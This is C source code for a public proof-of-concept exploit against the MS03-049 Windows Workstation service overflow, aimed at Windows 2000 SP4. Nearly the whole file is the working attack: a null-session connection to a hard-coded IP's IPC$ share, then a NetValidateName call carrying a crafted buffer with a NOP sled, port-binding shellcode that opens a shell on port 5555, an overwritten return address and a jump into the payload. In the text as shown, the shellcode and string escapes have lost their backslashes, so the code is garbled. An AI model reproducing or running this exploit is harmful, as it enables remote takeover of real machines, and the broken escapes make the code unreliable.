/*
        Proof of concept for MS03-049.
        This code was tested on a Win2K SP4 with FAT32 file system, and is supposed
        to work *only* with that (it will probably crash the the other 2Ks, no clue
        about XPs).

        To be compiled with lcc-win32 (*hint* link mpr.lib) ... I will not improve
        this public version, do not bother to ask.
        
        Credits go to eEye
        See original bulletin for more information, it is very well documented.
*/

#include <stdio.h>
#include <win.h>
#include <string.h>

typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);

#define SIZE 2048

// PEX generated port binding shellcode (5555)
unsigned char shellcode[] =
"x66x81xecx04x07" // sub sp, 704h
"x90x90x90x90x90x90x90x90x90x90x90x90xebx19x5ex31"
"xc9x81xe9xa6xffxffxffx81x36x76xacx7cx25x81xeexfc"
"xffxffxffxe2xf2xebx05xe8xe2xffxffxffx9ex94x7cx25"
"x76xefx31x61x76x4bx05xe3x0fx49x35xa3x3fx08xd1x0b"
"x9fx08x66x55xb1x75x75xd0xdbx67x91xd9x4dx22x32x2b"
"x9axd2xa4xc7x05x01xa5x20xb8xdex82x96x60xfbx2fx17"
"x29x9fx4ex0bx32xe0x30x25x77xf7x28xacx93x25x21x25"
"x1cx9cx25x41xfdxadxf7x65x7ax27x0cx39xdbx27x24x2d"
"x9dxa0xf1x72x5axfdx2exdaxa6x25xbfx7cx9dxbcx16x2d"
"x28xadx92x4fx7cxf5xf7x58x76x2cx85x23x02x48x2dx76"
"x89x98xf3xcdxe6xacx7cx25x2fx25x78xabx94x47x4dxda"
"x10x2dx90xb5x77xf8x14x24x77xacx7cxdax23x8cx2bx72"
"x21xfbx3bx72x31xfbx83x70x6ax25xbfx14x89xfbx2bx4d"
"x74xacx69x96xffx4ax16x35x20xffx83x70x6exfbx2fxda"
"x23xb8x2bx73x25x53x29x35xffx6ex1axa4x9axf8x7cxa8"
"x4ax88x4dxe5x1cxb9x25xd6xddx25xabxe3x32x88x6cx61"
"x88xe8x58x18xffxd0x58x6dxffxd0x58x69xffxd0x58x75"
"xfbxe8x58x35x22xfcx2dx74x27xedx2dx6cx27xfdx83x50"
"x76xfdx83x70x46x25x9dx4dx89x53x83xdax89x9dx83x70"
"x5axfbx83x70x7ax53x29x0dx25xf9x2ax72xfdxc0x58x3d"
"xfdxe9x40xaex22xa9x04x24x9cx27x36x3dxfdxf6x5cx24"
"x9dx4fx4ex6cxfdx98xf7x24x98x9dx83xd9x47x6cxd0x1d"
"x96xd8x7bxe4xb9xa1x7dxe2x9dx5ex47x59x52xb8x09xc4"
"xfdxf6x58x24x9dxcaxf7x29x3dx27x26x39x77x47xf7x21"
"xfdxadx94xcex74x9dxbcxacx9cxf3x22x78x2dx6ex74x25";

unsigned char jmp[] =
"xe9x6fxfdxffxff"; // jmp -290h to land in the payload

int main(void)
{
        int ret;
        HINSTANCE hInstance;
        MYPROC procAddress;
        char szBuffer[SIZE];
        NETRESOURCE netResource;

        netResource.lpLocalName = NULL;
        netResource.lpProvider = NULL;
        netResource.dwType = RESOURCETYPE_ANY;
        netResource.lpRemoteName = "\\192.168.175.3\ipc$";

        ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
        if (ret != 0)
        {
                fprintf(stderr, "[-] WNetAddConnection2 failedn");
                return 1;
        }

        hInstance = LoadLibrary("netapi32");
        if (hInstance == NULL)
        {
                fprintf(stderr, "[-] LoadLibrary failedn");
                return 1;
        }

        procAddress = (MYPROC)GetProcAddress(hInstance, "NetValidateName"); // up to you tocheck NetAddAlternateComputerName
        if (procAddress == NULL)
        {
                fprintf(stderr, "[-] GetProcAddress failedn");
                return 1;
        }

        memset(szBuffer, 0x90, sizeof(szBuffer));
        memcpy(&szBuffer[1400], shellcode, sizeof(shellcode) - 1);
        // ebp @ &szBuffer[2013]
        *(unsigned int *)(&szBuffer[2017]) = 0x74fdee63; // eip (jmp esp @ msafd.dll, useopcode search engine for more, but
                      // be aware that a call esp willchange the offset in the stack)
        memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char
        ret = (procAddress)(L"\\192.168.175.3", szBuffer, NULL, NULL, 0);

        WNetCancelConnection2("\\192.168.175.3\ipc$", 0, TRUE);
        FreeLibrary(hInstance);

        return 0;
}

// www.Syue.com [2003-11-12]